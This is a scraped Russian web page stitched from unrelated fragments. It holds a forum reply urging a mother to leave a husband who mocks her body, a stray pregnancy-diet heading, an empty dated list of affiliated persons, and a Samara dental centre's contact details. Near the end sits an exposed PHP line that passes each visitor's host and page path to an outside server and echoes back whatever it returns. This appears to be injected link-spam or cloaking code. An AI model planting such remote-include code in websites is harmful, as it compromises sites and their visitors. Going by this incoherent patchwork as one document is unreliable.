надеюсь это не так, удачи, все в ваших руках

1. МЕНЯТЬ МУЖА, он в Вас воспитывает комплекс неполноценности
2. Начать любить себя и свое тело - худая корова еще не стройная газель.... Зачем женился, если ему важны сиськи-попы анорексичные?
3. Мужикам настоящим не важны такие вещи.. У меня адекватное окружение, и если мужик смотрит на это+ еще смеет пасть раскрывать матери своих детей, да ще кормящей, я бы с лестницы спустила такого хама и гадину. Вы должны нормально питаться, вынашивать и кормить детей, где вы таких берете? Таких, для которых идеалом являются модели, хачастую страшные и бесплодные? Русская женщина всегда была с бедрами, полнотелая, т. к. именно такие были признаками здоровья, вынашивания детей.
4. пока Вы не полюбите себя, не начнете уважать, Вам будут внушать комплексы.. Не надо, не поддавайтесь на это. Есть люди худые, а есть не очень, суть вообще не в этом, а в умении ЛЮБИТЬ. Поверьте мне, как бы Вы ни похудели, такие самцы.. (мужиками не могу назвать)... найдет, к чему придраться.
5. Когда смотритесь в зеркало, гвоорите: дорогая, спасибо, что ты у меня есть, красавица, умница и мамочка.
Удачи и мужества. Не унижайтесь, настоящий мужик должен гордиться матерью своих детей!!.

Диета беременные хурма
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта